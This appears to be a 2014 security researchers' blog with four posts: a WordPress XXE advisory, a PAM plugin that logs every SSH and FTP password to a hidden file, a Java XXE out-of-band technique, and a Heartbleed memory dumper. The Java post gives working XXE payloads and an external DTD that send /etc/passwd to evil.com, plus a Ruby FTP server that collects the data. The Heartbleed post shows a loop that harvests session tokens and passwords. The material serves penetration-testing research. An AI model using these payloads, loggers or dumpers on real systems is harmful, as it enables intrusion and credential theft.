пятница, 5 сентября 2014 г.

WordPress 3.9.2- XXE through media upload (WAV ID3 tag)

Recently WordPress patched XXE vulnerability http://wordpress.org/news/2014/08/wordpress-3-9-2/ which were found during @ONsec_lab security audit of another one web-application.

Now time to describe this vulnerability in details!

The reason is GetID3 library which included into WordPress by default:
./wp-includes/ID3/getid3.lib.php:
521     public static function XML2array($XMLstring) {
522             if (function_exists('simplexml_load_string')) {
523                     if (function_exists('get_object_vars')) {
524                             $XMLobject = simplexml_load_string($XMLstring);

Requires PHP 5.5.0- (simple_xml was patched to disable external entities since ~5.5.0)

To use this vulnerability attacker must have privileges to upload Media (editor privileges for example).

PoC is available at our GitHub repo: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav

Timeline:
5/12/14 vendor notified
5/15/14 vulnerability confirmed
8/06/14 fixed at version 3.9.2

пятница, 18 июля 2014 г.

PAM_steal plugin released

Typically pentest’s attack can be presented by the following schema:
perimeter -> command execution -> privileges escalation -> ...
The next step for pentesters is to gain privileges at other machines.
For example, it can be done by stealing credentials (one of many methods).
Passwords at local machine will be hashed and it's not so good to crack it due to the time.

SSH MITM (tool: http://www.signedness.org/tools/mitm-ssh.tgz) is a good one. It should be noticed though that passwords can be shared between many services and thus is also necessary.

PAM (Pluggable Authentification Module) provide dynamic authorization for applications and services in a Linux system. Our password logger plugin for PAM can be found here: https://github.com/ONsec-Lab/scripts/tree/master/pam_steal

This is a good point after rooting machines during penetration tests.

Install process:
./make.sh
vim /etc/pam.d/common-auth
add "auth required pam_steal.so" into it
Then check /tmp/.steal.log - all FTP/SSH and other PAM-based daemon's passwords will be there!

понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'https://evil.com:8000/%b;'>">
%c;
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...

Java 1.7+:
nothing!
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.

require 'socket'
server = TCPServer.new 8000 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
            puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
or
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)

Finally got something like this: 

XXE payload: 
<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root:   root:   bin   bash

вторник, 8 апреля 2014 г.

Memory dumper based on CVE-2014-0160

You already know about this bug of course:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160

Just easy patch to original PoC: https://gist.github.com/ixs/10116537

 60 def hexdump(s):
 61   r = r"((sid|token|sess|pass|basic|oauth).*)"
 62   m = re.findall(r,s)
 63   print m
 64   sys.exit()
And some bash now:
~$ while true; do ./ssltest.py company.com >> regexped; done


We have plans to rewrite this PoC to use only one socket for multiple dumps.